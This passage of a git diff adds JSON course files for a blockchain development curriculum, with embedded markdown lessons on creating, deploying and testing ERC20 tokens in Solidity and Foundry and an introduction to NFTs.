through [**speedrunethereum.com**](https://speedrunethereum.com/). He's developed this resource to clarify the ‘HOW’ and ‘WHY’ behind Ethereum building.\n\nThrough Speedrun Ethereum, you'll delve into a plethora of projects, including:\n\n- **Creating a simple Non-Fungible Token (NFT)**\n- **Constructing a decentralized staking app**\n- **Developing a token vendor**\n- **Building a Dice Game** - learning about randomness on chain\n- **Creating a Decentralized Exchange (Dex)**\n- **Contructing and using a MultiSig Wallet**\n- **SVG NFTs and on chain Data**\n\n...and much more\n\n\n\nTo take advantage of these learning opportunities, visit [Speedrunethereum.com](https://speedrunethereum.com/) and get started!\n\n### Intro to Scaffold-ETH2\n\nScaffold-eth-2 is a great resource for those learning Solidity and trying to visualize what their code is doing.\n\nIt provides a clean front-end UI that will update dynamically with your smart contract changes, allowing you to interact with it and monitor adjustments you've made.\n\n\n\n### Final Remarks\n\nLeverage the knowledge and resources provided by speedrun ethereum and Scaffold ETH to equip you in building innovative solutions on Ethereum. With determined effort and continuous learning, you're sure to make significant strides in the blockchain ecosystem.\n\nHappy Bow-Tie Friday, Austin.\n\n### Congratulations!\n\nYou did it. That's all for this section - you should be incredibly proud. Take a break and rest up, cause you're ready to move on to [**Foundry Fundamentals**](https://updraft.cyfrin.io/courses/foundry)!\n", + "updates": [] + } + ] + } + ], + "createdAt": "2023-12-18T15:14:18.685Z", + "updatedAt": "2023-12-18T15:14:18.686Z" +} \ No newline at end of file diff --git a/content/learning-paths/foundations.json b/content/learning-paths/foundations.json new file mode 100644 index 00000000..2de6565d --- /dev/null +++ b/content/learning-paths/foundations.json @@ -0,0 +1,12 @@ +{ + "learningPathId": "d22ba57a-53cf-4b31-8412-7b8b6b916cdd", + "title": "Foundations", + "courses": [ + { + "course": "content/courses/blockchain-basics.json" + }, + { + "course": "content/courses/security.json" + } + ] +} \ No newline at end of file diff --git a/content/learning-paths/solidity-developer.json b/content/learning-paths/solidity-developer.json new file mode 100644 index 00000000..e77f37a4 --- /dev/null +++ b/content/learning-paths/solidity-developer.json @@ -0,0 +1,15 @@ +{ + "learningPathId": "a89a5f17-78d0-44fc-b1bd-8391f8b4815f", + "title": "Solidity Developer", + "courses": [ + { + "course": "content/courses/advanced-foundry.json" + }, + { + "course": "content/courses/foundry.json" + }, + { + "course": "content/courses/solidity.json" + } + ] +} \ No newline at end of file diff --git a/courses.json b/courses.json new file mode 100644 index 00000000..17da0a1b --- /dev/null +++ b/courses.json @@ -0,0 +1,6871 @@ +[ + { + "id": "841d2824-6665-4f1e-8352-e0dbadf62bfb", + "title": "Advanced Foundry", + "slug": "advanced-foundry", + "folderName": "advanced-foundry", + "lastUpdated": "Thu Dec 14 2023 10:13:11 GMT-0500 (Eastern Standard Time)", + "trailerUrl": "", + "previewImg": "https://res.cloudinary.com/droqoz7lg/image/upload/v1701193477/updraft/courses/y2uthyu5atnxhhd8aar6.png", + "description": "Become a Foundry expert! Learn advanced techniques to develop, deploy, test, optimise and interact with your smart contract using industry standard tools used by the top smart contracts engineers in web3", + "path": "Solidity Developer", + "number": 0, + "githubUrl": "https://github.com/Cyfrin/path-solidity-developer-2023/discussions", + "overview": { + "learnings": "Foundry, stablecoins, DeFi, DAOs, advanced smart contract development, advanced smart contracts testing, fuzz testing, manual verification", + "preRequisites": [ + "Blockchain basics", + "Solidity fundamentals", + "Foundry fundamentals" + ] + }, + "duration": 13, + "authors": [ + { + "name": "Patrick Collins", + "role": "Founder", + "avatarUrl": "https://res.cloudinary.com/droqoz7lg/image/upload/v1700778389/patrick_zrg8k0.webp", + "company": "Cyfrin" + }, + { + "name": "Ciara Nightingale", + "role": "Developer relations", + "avatarUrl": "https://pbs.twimg.com/profile_images/1589633894055280642/asqY9XHf_400x400.jpg", + "company": "Thirdweb" + }, + { + "name": "Vasiliy Gualoto", + "role": "Developer relations", + "avatarUrl": "https://pbs.twimg.com/profile_images/1699392014431690752/85CtsxgA_400x400.jpg", + "company": "Cyfrin" + }, + { + "name": "Nader Dabit", + "role": "Director of developer relations", + "avatarUrl": "https://pbs.twimg.com/profile_images/1683249222534025216/-AksKsna_400x400.jpg", + "company": "Avara" + }, + { + "name": "Ally Haire", + "role": "Developer relations", + "avatarUrl": "https://pbs.twimg.com/profile_images/1446605786948329472/_LjIFzfh_400x400.jpg", + "company": "Protocol Labs" + }, + { + "name": "Juliette Chevalier", + "role": "Lead Developer relations", + "avatarUrl": "https://pbs.twimg.com/profile_images/1521592989411328005/APz0z5t5_400x400.jpg", + "company": "Aragon" + }, + { + "name": "Vitto Rivabella", + "role": "Lead Developer relations", + "avatarUrl": "https://pbs.twimg.com/profile_images/1700274932393918464/e8v4skIC_400x400.png", + "company": "Alchemy" + }, + { + "name": "Harrison", + "role": "Founder", + "avatarUrl": "https://res.cloudinary.com/droqoz7lg/image/upload/f_auto,q_auto/hxv9u49b6q9magswodpo", + "company": "GasliteGG" + } + ], + "sections": [ + { + "number": 1, + "id": "c83165bc-da17-4714-ab4f-483cb52c5170", + "title": "Develop an ERC20 Crypto Currency", + "slug": "How-to-create-an-erc20-crypto-currency", + "folderName": "1-erc20s", + "lessons": [ + { + "id": "c2420d11-5dcd-4f42-b26e-91e6234119b9", + "number": 1, + "title": "Introduction to ERC fundamentals and ERC20", + "slug": "erc-and-erc20-fundamentals", + "folderName": "1-erc20-basics", + "description": "Delve into the fundamentals of ERC20 tokens. Understand the critical concepts of Ethereum Improvement Proposals (EIPs) and Ethereum Request for Comments (ERCs), focusing particularly on the ERC20 Token Standard. Learn about the creation and significance of ERC20 tokens and explore notable examples.", + "duration": 5, + "videoUrl": "Iip9bQ3yKUI", + "rawMarkdownUrl": "/routes/advanced-foundry/1-erc20s/1-erc20-basics/+page.md", + "markdownContent": "---\ntitle: ERC20 Basics\n---\n\n_Follow along the course with this video._\n\n\n\n# Understanding ERC20 Tokens in Ethereum: A Comprehensive Guide\n\nWelcome back! We're about to dive deep into the fascinating world of ERC20 tokens.\n\n\n\nBefore we plunge into building an ERC20 token, let's first explore what it is, and understand the concepts of EIP (Ethereum Improvement Proposals) and ERC (Ethereum Request for Comments).\n\n## What is an ERC? What is an EIP?\n\n\n\nBoth Ethereum and other blockchains like Avalanche, Binance, and Polygon have mechanisms for improving their protocols, known as 'improvement proposals'. In Ethereum's ecosystem, these are called Ethereum Improvement Proposals or EIPs.\n\nDevelopers submit ideas to enhance Ethereum or other layer one protocols like Polygon, Matic or Avalanche on GitHub or other open source repositories. These improvements range from core blockchain updates to broad, best practice standards for the community to adopt.\n\n\n\nIn other blockchains, these proposals and request for comments are tagged differently (for example, BEP, PEP, etc), but they contain the same types of information. Interestingly, the numbers following ERC or EIP (like in ERC20 or EIP20), are chronological and shared between the two, signifying the order in which they were introduced. For real-time updates on the process of new EIPs, check out [EIPS Ethereum.org](https://eips.ethereum.org/).\n\n## What is the ERC20 Token Standard?\n\n\n\nAmong these EIPs and ERCs, the ERC20, or Token Standard for smart contracts, is one of the most significant. It delineates how to create tokens within smart contracts.\n\nERC20 tokens are those deployed on a blockchain using the ERC20 token standard. Essentially, it's a smart contract that represents a token - both a token and a smart contract in one. Check out the [ERC20 Token standard](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md) for a deep dive.\n\nNotable examples of ERC20 tokens include Tether, Chainlink, Uni Token, and Dai. Interestingly, while Chainlink qualifies as an ERC677, it is fully compatible with ERC20 and just offers some additional functionality.\n\n## Why Create an ERC20 Token?\n\n\n\nThere are multiple applications of ERC20 tokens. They are used for governance, securing an underlying network, or creating synthetic assets, among other things.\n\n## Building an ERC20 Token\n\nHow do we go about creating an ERC20 token? Simple. By creating a smart contract that adheres to the token standard. This involves building a smart contract with certain functions, including name, symbol, decimals, etc. Also, it should be transferable and display its balance.\n\nYou can explore more advanced, ERC20 compatible tokens with improvements (such as ERC677 or ERC777), just make sure they align with your project requirements. Enjoy the process of building your ERC20 token and the new possibilities it opens up!\n", + "updates": [] + }, + { + "id": "72b71dd8-336c-4536-8a0e-304ea4043591", + "number": 2, + "title": "Creating an ERC20", + "slug": "create-an-erc20", + "folderName": "2-erc20-manual-creation", + "description": "This lesson guides you through the manual creation of your own ERC20 token using Solidity. It covers the setup of your development environment, initialization of your project repository, and step-by-step instructions to build and define your ERC20 token's properties and functionalities.", + "duration": 7, + "videoUrl": "RFynoQNPKOo", + "rawMarkdownUrl": "/routes/advanced-foundry/1-erc20s/2-erc20-manual-creation/+page.md", + "markdownContent": "---\ntitle: ERC20 Manual Creation\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n# Creating Your Own ERC20 Token in Solidity Code\n\nWelcome Back! Having covered the basics, let's look at how we can manually create our own ERC20 token.\n\n## Setting Up Your Development Environment\n\nOpen a terminal in Visual Studio Code and run the following:\n\n```sh\nmkdir foundry-erc20-f23\ncd foundry-erc20-f23\ncode .\n```\n\nThe above commands will create a new directory for our project, navigate into it, and open the directory in a new Visual Studio Code window.\n\nOnce we have Visual Studio Code running, we need to initialize a blank repository. Open up the built-in Terminal and execute the following command:\n\n```sh\nforge init\n```\n\nCompleting these steps sets up a development environment complete with a fully-equipped CI/CD pipeline courtesy of GitHub workflows for later code testing & deployment.\n\n## Getting Started With Your ERC20 Smart Contract\n\nNext, let's get down to the nitty-gritty of our project — our own ERC20 token! But first, a spring cleaning is due. Remove the sample files from the fresh repository so that you can start coding from scratch. This step is as uncomplicated and swift as a couple of clicks and keyboard strokes away!\n\nHaving cleared the playing field, it's time to layer the groundwork for our ERC20 token. To do this, we'll be referencing the ERC20 Token Standard, covering all the key methods that we need.\n\nLet's start by creating a new Solidity file named `OurToken.sol`. Right click the `src` folder in the left navigation panel and select `new File`.\n\n\n\n## Paving the Way for Your Custom Token\n\nThe inception of our token begins with some basic instructions for the Ethereum virtual machine — where our contract code will live, breathe, and operate.\n\n```javascript\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\ncontract OurToken{}\n```\n\nThe `SPDX-License` specifies the type of license our code carries, while `pragma solidity` specifies the Solidity compiler version that our contract is compatible with.\n\nEnsuing this, we set forth to define several properties that will shape our token's identity. The ERC20 standard necessitates the definition of a `name`, `totalSupply`, and a `decimals` property. In our contract, this translates to:\n\n```javascript\n string public name = \"OurToken\";\n uint256 public totalSupply = 100000000000000000000;\n```\n\nThe decimals property signifies the number of decimal points that can be used in our token. Given that the Ethereum network operates in Wei (the smallest denomination of Ether), it's a good practice to use 18 decimal places for interoperability with other token contracts.\n\n```javascript\n uint8 public decimals = 18;\n```\n\nReaching this stage of our token creation, our contract should look something like this:\n\n```javascript\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\ncontract OurToken{\n string public name = \"OurToken\";\n uint256 public totalSupply = 100000000000000000000;\n uint8 public decimals = 18;\n\n}\n```\n\n## Building the Internal Structure for Our Token\n\nOur token also needs some internal structure and mechanisms to function, chiefly, a way to track balances of all the users interacting with it.\n\nFirst, we use a Solidity mapping data structure to connect user addresses with their token balances. This balance tracking mapping looks like:\n\n```javascript\n mapping (address => uint256) private _balances;\n```\n\nNext, we functionally implement the ability for anyone to view their current token balance via the `balanceOf` method.\n\n```javascript\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n```\n\nJuxtaposed against the backdrop of token balance mapping, the `balanceOf` method takes an account's address as input and returns the corresponding balance. This signifies that having tokens in an ERC20 simply translates to some balance in a contract's mapping.\n\n## Making the Token Transferable\n\nOur token is still a bit static. Let's bring it to life by implementing the `transfer` function which helps users send tokens to other addresses:\n\n```javascript\n function transfer(address recipient, uint256 amount) public returns (bool) {\n uint256 senderBalance = _balances[msg.sender];\n require(senderBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[msg.sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n return true;\n }\n```\n\nHere's what these lines of code are doing:\n\n1. Fetch the balance of the sender (the person calling this function).\n2. Use the `require` function to make sure the sender has enough tokens. If they don't, the entire function will fail.\n3. Subtract the transfer amount from the sender's balance.\n4. Add the transfer amount to the recipient's balance.\n\nWell, that's the first iteration of our token! We could go further and implement other functions like `allowance` and `transferFrom` which would make our token more versatile with better utility. But for brevity reasons, we'd leave that for another day.\n\nIn conclusion, the journey to coding your own ERC20 token isn't as daunting as it seems. With Solidity, a good text editor, and little patience, you can make your own way into the Ethereum developer community. I hope this guide leaves you better equipped in your Ethereum dev journey and evokes your interest in delving deeper into the vastly interesting world of blockchain programming. Good luck and happy coding!\n", + "updates": [] + }, + { + "id": "9c7cfcb9-a693-4933-a006-4f046a9bdecf", + "number": 3, + "title": "Explore Open Zeppelin", + "slug": "erc20-open-zeppelin", + "folderName": "3-erc20-open-zeppelin", + "description": "Explore the use of the OpenZeppelin framework for smart contract development. Learn how to leverage pre-deployed, audited, and ready-to-go contracts to simplify the creation process of your ERC20 token.", + "duration": 4, + "videoUrl": "YJ9k09e1cqI", + "rawMarkdownUrl": "/routes/advanced-foundry/1-erc20s/3-erc20-open-zeppelin/+page.md", + "markdownContent": "---\ntitle: ERC20 Open Zeppelin\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n# Using Pre-Deployed, Audited, and Ready-to-Go Smart Contracts with OpenZeppelin\n\nWelcome back! Creating your own smart contracts can be a complex task. As your experience grows, you might find yourself creating similar contracts repeatedly. In such cases, wouldn't it be more convenient to use pre-deployed, audited, and ready-to-go contracts? In this section, I'll guide you on using the OpenZeppelin framework to achieve this.\n\n\n\n## OpenZeppelin Framework\n\nAccess [OpenZeppelin's documentation](https://docs.openzeppelin.com/contracts/4.x/) via their official website. By navigating to [Products > Contracts](https://www.openzeppelin.com/contracts), you can discover a vast array of ready-to-use contracts.\n\nAdditionally, OpenZeppelin offers a contract wizard, streamlining the contract creation process — perfect for tokens, governances, or custom contracts.\n\n## Creating a New Token\n\nRather than manual implementations, let's craft a new token named 'OurToken'. Here's an outline of our token's structure:\n\n```javascript\n// OurToken.sol\nSPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\ncontract OurToken {\n\n}\n```\n\n## Installing OpenZeppelin Contracts\n\nNext, we will install the OpenZeppelin contracts to our project. Navigate to their [official GitHub repository](https://github.com/OpenZeppelin/openzeppelin-contracts) and copy the repository path.\n\nIn your terminal, run the following command to install the OpenZeppelin contracts:\n\n```bash\nforge install openzeppelin/openzeppelin-contracts --no-commit\n```\n\nUpon successful installation, you'll find the OpenZeppelin contracts in your project's lib folder. Your contract library will now contain audited contracts you can readily use like the ERC20 contract.\n\n## Inheriting and Implementing Contracts\n\nAfter accessing the OpenZeppelin contracts, you can now import and inherit from them. To do this, we first need to remap the OpenZeppelin contracts in our foundry.toml file:\n\n```javascript\n[remappings] = \"@openzeppelin-contracts=lib/openzeppelin-contracts\";\n```\n\nThen, simply import and inherit from ERC20.sol in our 'OurToken.sol' file like this:\n\n```javascript\nSPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin-contracts/contracts/token/ERC20/ERC20.sol\";\n\ncontract OurToken is ERC20 {\n constructor(uint256 initialSupply) ERC20(\"OurToken\", \"OT\"){\n _mint(msg.sender, initialSupply);\n }\n}\n```\n\nNotice that the constructor of OurToken uses the ERC20 constructor and needs a name and a symbol. I also used the \\_mint function, provided by ERC20, to create the initial supply of tokens to the sender.\n\n## Testing That Your Contracts Compile\n\nNow, it's time to make sure things compile. To do this, run the command:\n\n```bash\nforge build\n```\n\nIf everything went smoothly, the output should indicate that your contract has been successfully compiled, something like this:\n\n\n\n---\n\nIn summary, using pre-deployed and audited contracts like OpenZeppelin can streamline your development process when working with Smart Contracts. This approach lets you leverage proven code which reduces the risk of errors and increases your project's reliability. Don't hesitate to explore and utilize these contract libraries in your future blockchain development ventures!\n", + "updates": [] + }, + { + "id": "7f90804e-7f7f-4818-8e9f-93f077970522", + "number": 4, + "title": "Deploy your ERC20 crypto currency", + "slug": "erc20-deploy-script", + "folderName": "4-erc20-deploy-script", + "description": "This lesson provides a comprehensive guide on deploying your ERC20 token. It includes instructions for setting up a deployment script, using the deployment script to deploy your token, and tips for finalizing and testing the deployment process efficiently.", + "duration": 3, + "videoUrl": "V-Hqnq-VcH8", + "rawMarkdownUrl": "/routes/advanced-foundry/1-erc20s/4-erc20-deploy-script/+page.md", + "markdownContent": "---\ntitle: ERC20 Deploy Script\n---\n\n_Follow along the course with this video._\n\n\n\n# Deploying Our Token: A Step By Step Guide\n\nIf you've ever wondered how to deploy a token, and more importantly, test it and write scripts to deploy it - then you've come to the right place. Buckle up, because we're about to journey through this process. Let's get started!\n\n## Initiating the Deployment\n\n\n\nTo initiate this, we're going to deploy OurToken.sol. Now, you might be asking why we don't need a helper config here - what about those special contracts that we would need to interact with? Well, this deployment is unlike any other because our token will be identical across all chains. No special contracts or config will be needed!\n\nLet's start with a simple script to keep things light and compact:\n\n```javascript\nSPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\nimport {Script} from \"forge-std/Script.sol\";\n\ncontract DeployOurToken is Script {\n\n}\n```\n\n## Creating a Function Run\n\nWe'll need to import our token like so:\n\n```javascript\nimport { Script } from \"forge-std/Script.sol\";\n```\n\nNext, let's create a function, run, that will be external. Within the run function, we’ll do `vm.startBroadcast()`. In our run function, we need to initiate the VM broadcast as shown, we'll need to give it an initial supply too, say 1000 ether. That’s right, our token needs an initial amount to start with and finally, we'll want to return OurToken, for use later:\n\n```javascript\nSPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\nimport {Script} from \"forge-std/Script.sol\";\nimport {OurToken} from \"../src/OurToken.sol\";\n\ncontract DeployOurToken is Script {\n uint256 public constant INITIAL_SUPPLY = 1000 ether;\n\n function run() external return(OurToken){\n vm.startBroadcast();\n OurToken ot = new OurToken(INITIAL_SUPPLY);\n vm.stopBroadcast();\n\n return ot;\n };\n}\n\n```\n\nFollowing this, we'll deploy our token using the initial supply because, remember, our token requires an initial supply. We then stop the VM broadcast, and voila, our script is ready!\n\n## Adding the Final Touches\n\n\n\nFor the final touches, we can use a nifty trick. We can borrow from our previous projects or directly from the git repo that corresponds with this tutorial. We'll generate a Makefile for this. Create this new file in your project's root directory. We'll visit foundry-erc20-f23 and just put everything into this Makefile. Guess what, we can just copy the whole thing!\n\nFind the Makefile to copy [here:](https://github.com/Cyfrin/foundry-erc20-f23/blob/main/Makefile)\n\nOnce you’ve copied over the Makefile, you can simply run the command `make deploy`. If you encounter any errors, just create a new anvil using `make anvil` and once again run `make deploy`.\n\nThe compiler should now run successfully and your token is officially deployed to your anvil chain. Congratulations, you have just deployed your token!\n\n\n\nBy following these steps, you have simplified the process of deploying and testing a token. Who'd have thought it could be this straightforward and efficient?\n", + "updates": [] + }, + { + "id": "180ff894-f0fb-48c9-a7f1-2e45baeabd8f", + "number": 5, + "title": "Test your ERC20 using AI", + "slug": "erc20-ai-tests-and-recap", + "folderName": "5-erc20-ai-tests-and-recap", + "description": "Master the art of writing tests for your smart contracts, incorporating Artificial Intelligence (AI) to enhance the process. This lesson focuses on using AI to generate and execute tests efficiently, offering insights into best practices and considerations when integrating AI into your testing workflow.", + "duration": 16, + "videoUrl": "RYugLEPz7sE", + "rawMarkdownUrl": "/routes/advanced-foundry/1-erc20s/5-erc20-ai-tests-and-recap/+page.md", + "markdownContent": "---\ntitle: AI Tests and Recap\n---\n\n_Follow along the course with this video._\n\n\n\n# Mastering Smart Contracts: Writing Tests and Incorporating AI\n\nAlmost done, you're doing great! In this section, we'll navigate the world of writing tests for basic contracts. This might sound dull, but twirling in some Artificial Intelligence (AI) really spices things up.\n\nRemember, in this series, as much as we encourage leveraging AI to accelerate your learning and coding, it should aid learning, not replace it entirely. The simple reason being that if AI gets it wrong - a likely occurrence given the nascent stage of current technology - you'll be utterly lost if you haven't really grasped the concepts.\n\nLet's dive into some practical examples, with a bit of humor, to illustrate. Yes, we'll also be using AI’s proficiency at writing tests to our advantage.\n\n## Laying the Foundation\n\nOur focus for the test would be `TokenTest.t.sol`, create this file in your test folder. We will start by crafting the basic structure for our testing contract. This would include SPDX license identifier, pragma solidity version, and a declaration of the contract:\n\n```javascript\nSPDX license identifier: MIT\npragma solidity ^0.8.18;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {OurToken} from \"../src/OurToken.sol\";\nimport {DeployOurToken} from \" ../script/DeployOurToken.s.sol\";\n\ncontract OurTokenTest is Test {\n\n}\n```\n\nAlso note the need to import forge's `forge-std/Test.sol` for `Test`, OurToken from `OurToken.sol` and `DeployOurToken.s.sol`'s DeployOurToken, the script we just wrote to deploy. This script handles the deployment of our Token. It's a special scenario where the script essentially 'becomes' the Token we're deploying. Subsequently, we'll define a setup method.\n\nIn our setup,we have something like:\n\n```javascript\ncontract OurTokenTest is Test {\n OurToken public ourToken;\n DeployOurToken public deployer;\n\n function setup() public {\n deployer = new DeployOurToken();\n ourToken = deployer.run();\n }\n}\n```\n\nWith that done, let’s add some addresses allowing interaction with people. This time, we’ll be involving Bob and Alice in the mix:\n\n```javascript\naddress bob = makeAddr(\"bob\");\naddress alice = makeAddr(\"alice\");\n```\n\nNext, we’ll simulate a transfer of Tokens to Bob from our Token owner. We'll check Bob's Token balance afterward and ensure it equals the transferred Token amount.\n\n```javascript\ncontract OurTokenTest is Test {\n OurToken public ourToken;\n DeployOurToken public deployer;\n\n address bob = makeAddr(\"bob\");\n address alice = makeAddr(\"alice\");\n\n uint256 public constant STARTING_BALANCE = 100 ether;\n\n function setup() public {\n deployer = new DeployOurToken();\n ourToken = deployer.run();\n\n vm.prank(msg.sender);\n ourToken.transfer(bob, STARTING_BALANCE)\n }\n\n function testBobBalance() public {\n assertEq(STARTING_BALANCE, ourToken.balance(bob));\n }\n\n}\n```\n\nWith the above complete we should be able to run `forge test -mt testBobBalance` in our command line to see, yes, the test passes! This is just one example. I encourage you to write more of your own tests, and in the next section we'll learn how to use AI to help.\n\n## Generating More Tests with AI\n\nHaving established this foundational knowledge, we can now generate additional tests using AI. It's also worth noting that writing tests is something at which AI is quite proficient.\n\nTo illustrate, let’s write a test for the allowances. It's frequently a crucial part of ERC-20 tokens. Roughly put, we're allowing contracts to transfer tokens on your behalf. Here’s how you might request this of an AI model:\n\n```bash\n\"Here's my Solidity ERC20 token and a few tests I've written in Solidity. Could you please generate the rest of the tests? Please include tests for allowances, transfers, and anything else that might be important.\"\n```\n\nUpon receiving the AI's tests output, it’s advisable to only copy what you need. Be aware not to blindly copy paste code from the AI. Since AI's can get things wrong, it’s crucial to understand what's going on, and be able to spot such false outputs.\n\nTrue to this, AI's may get things wrong, like removing essential parts of the code, or introducing some redundancies. But some tests like `Test allowance works` or `Test transfer` might just be okay to use right off the bat.\n\nUsing AI to write tests should be like this: it gives you the building blocks for most of the tests, but you refine the building blocks to fit your application using your coding skills.\n\n## Wrapping Up\n\nThat's it for this lesson! Sure, it may seem like a short tutorial, but don't be fooled. The more advanced you become in your learning, the more straightforward the concepts.\n\nNow head off for some well-deserved rest or a little celebration – you've earned it! It's quite a feat becoming more comfortable with these foundational concepts. Having this solid foundation will take you far past your current knowledge base.\n\nFor those still shading in the gaps, don't hesitate to head over to the GitHub repo for some valuable insights to fast-track your learning. The thrill of learning awaits you in the next session. See you then! Bye!\n\n\n", + "updates": [] + } + ] + }, + { + "number": 2, + "id": "94b46f4a-4966-4bf5-85f2-605e034d0061", + "title": "Develop an NFTs Collection", + "slug": "how-to-create-an-NFT-collection", + "folderName": "2-nfts", + "lessons": [ + { + "id": "2dd01e95-bf3d-4cc6-8bd2-8b7d779863a3", + "number": 1, + "title": "Introduction to NFTs", + "slug": "introduction-to-nfts", + "folderName": "1-nfts", + "description": "his introductory lesson on Non-Fungible Tokens (NFTs) covers the basics of NFTs, including their creation, dynamics, and values. It features a practical project involving dynamic NFTs of dogs, emphasizing the addition of NFTs to MetaMask and connecting with platforms like OpenSea for selling NFTs.", + "duration": 3, + "videoUrl": "FSBxBenOdSU", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/1-nfts/+page.md", + "markdownContent": "---\ntitle: NFTs\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nHello there, coding enthusiasts! As we move forward in our Solidity journey, we're inching closer towards becoming proficient, practical Solidity developers, ready to take on real-world challenges. In today's session, we're diving straight into the fascinating world of Non-Fungible Tokens (NFTs); afterward, we'll venture into the intricate web of DeFi, upgradable contracts, governance, and a glimpse into security. Excited? Let's get our hands dirty!\n\n\n\n## A Quick Overview of the Code Base\n\nLet's begin by exploring our course content. Our NFT project will entail creating dynamic NFTs of adorable dogs using VS Code. What's more, these tokens will evolve and carry fluctuating values. We aim to help you gain an in-depth understanding of NFTs, what makes them so special, and their functionality.\n\nEventually, we'll be able to add our NFTs right into our MetaMask, a thrilling outcome!\n\n## An Introduction to Two Types of NFTs\n\nTime to move onto specifics. There are two types of NFTs we will create:\n\n1. **Basic NFT:** The basic (yet super exciting!) NFT will depict a cute little pug, which will be stored in InterPlanetary File System (IPFS).\n2. **Advanced NFT:** We'll move to the advanced level by designing an NFT stored entirely on-chain, a genuinely decentralized form. An interesting attribute of this NFT is that its SVG will fluctuate depending upon the mood state we assign.\n\nOur goal is to give this NFT a dynamic personality, so to say, allowing it to mirror our mood swings. Just imagine—crafting mood-reflective tokens and importing them into an empty MetaMask!\n\n\n\n### Looking Further: Selling the NFTs\n\nApart from MetaMask, we also aim to connect with platforms like OpenSea. This move will allow us an interactive space to sell our NFTs, engage with NFT communities, and do much more.\n\nWe'll cap things off by unraveling the mysteries of API and function selector codes, giving you a well-rounded understanding of these fundamental aspects of Solidity.\n\n## Unraveling the NFT\n\nAfter understanding our course layout, let's explore what an NFT is. NFTs, or Non-Fungible Tokens, represent a unique set of data stored on Ethereum's digital ledger or blockchain. These tokens can literally represent anything — virtual real-estate, digital art, and much more! To give it a fitting analogy for our course:\n\n\n\nNow, we're surely thrilled to begin. So, strap yourself in, and let's delve into the adventurous world of NFT creation in Solidity.\n\nStay curious, and stay tuned for our next session as we build, learn, and master the art of coding!\n", + "updates": [] + }, + { + "id": "f83641db-a754-4415-81f4-1aa1cfd3951c", + "number": 2, + "title": "What is an NFT", + "slug": "what-is-a-nft", + "folderName": "2-what-is-a-nft", + "description": "Dive deep into the world of Non-Fungible Tokens (NFTs), exploring their uniqueness compared to traditional tokens (ERC20s). The lesson focuses on the distinct nature of NFTs, their application in digital art, and the use of platforms like OpenSea and Rarible for trading.", + "duration": 7, + "videoUrl": "oSD3vSDHJO0", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/2-what-is-a-nft/+page.md", + "markdownContent": "---\ntitle: What is a NFT?\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nHello dear students! Today, we'll be diving deep into Non-Fungible Tokens (NFTs) from the perspective of a Python novice while also embarking on an ultimate NFT tutorial. Our journey will help unravel the inquisitiveness in you, becoming experts in blockchain and cryptocurrency technology.\n\n## Defining NFTs\n\nNFTs, called `ERC721`s, are the latest craze in the digital world as they are considered a prized possession on the Ethereum platform. For the uninitiated, NFT stands for Nonfungible token and is a token standard similar to ERC 20. You might recognize `ERC20s` by familiar names like Link, Ave Maker, which are found on the Ethereum chain.\n\n\n\nThe sparkle of NFTs lies in their unique nature. Unlike ERC 20s where one token is always equivalent to another same token, NFT or nonfungible token is unique and not interchangeable with any other token of its class. To simplify, consider this: one dollar is equivalent to another dollar. However, this is not the case in NFTs.\n\n\n\n## The Unparallel Power of Art in NFTs\n\nNFTs aren't limited in scope. They can be deemed as a digital version of art pieces possessing an incorruptible and permanent history. Of course, their application isn't only confined to art. You can enrich them with stats, make them do battle, or do unique stuff with them. For instance, NFTs are viewed, bought, and sold on various platforms like [OpenSea](https://opensea.io/) or [Rarible](https://rarible.com/).\n\nThough one might consider NFTs ridiculous initially (I too was in that boat once!), their value becomes clear when pondered over their benefits. Artists often face attribution and compensation problems. With NFTs, artists can be adequately compensated for their contributions through a decentralized royalty mechanism, which is fair, transparent, and free from intermediary service.\n\n## Exploring ERC721 and ERC20\n\nNow, let's delve further into the NFT standards: the ERC 721 standard or the NFT standard. They serve as the foundation for NFTs. However, the semi-fungible token standard, the ERC 1155, isn't the focus of our discussion today but is still worth exploring.\n\nThe key differences between a 721 and ERC 20 lie in the mapping between an address and its holdings. ERC 20s have a simple mapping compared to 721’s that holds unique token IDs. Each token is unique, with a unique owner and a 'token Uri', defining what each asset looks like.\n\nIf you know Ethereum, you are aware of the high gas prices and expensive costs of storing a lot of space. This is where 'Token Uri' enters the scene. They are a unique indicator of what assets or tokens look like, and the characteristics of these tokens. A regular 'token uri' returns a format with the name, image location, description, and below mentioned attributes.\n\n## The Dilemma: On-chain Vs. Off-chain Metadata\n\nThere's often discourse on whether to store NFT data on-chain or off-chain. Off-chain storage is simpler and cheaper, with options like [IPFS](https://ipfs.io/) or even a centralized API. However, this come with risks of losing the image and all data associated with the NFT if the API goes down.\n\n\n\n## Getting Hands-on with NFT Deployment\n\nIf you're a newbie in NFTs and all that we've discussed feels a bit overwhelming, do not worry. Here's a simplified process for you: add your image to IPFS, add a metadata file pointing to that image file on IPFS, and grab that Token Uri and set it as your NFT.\n\nIn short, understanding NFTs and its various characteristics and usages can render you capable of building creative NFTs and games with unique properties. And most importantly, it authenticates the NFTs as the properties will always remain on the chain.\n\nStay tuned for more engaging content about NFTs, Blockchain, Ethereum, and more. Let's continue on this exciting journey of digital innovations together!\n", + "updates": [] + }, + { + "id": "08185616-d253-4f6a-b0e7-719c89386074", + "number": 3, + "title": "Foundry setup", + "slug": "foundry-setup", + "folderName": "3-foundry-setup", + "description": "This session guides you through setting up the Foundry environment for NFT development. It includes instructions on creating directories, initializing your project, and using OpenZeppelin contracts for defining NFTs, highlighting the process of minting and deploying NFT images.", + "duration": 11, + "videoUrl": "vB37gM1ooKs", + "rawMarkdownUrl": 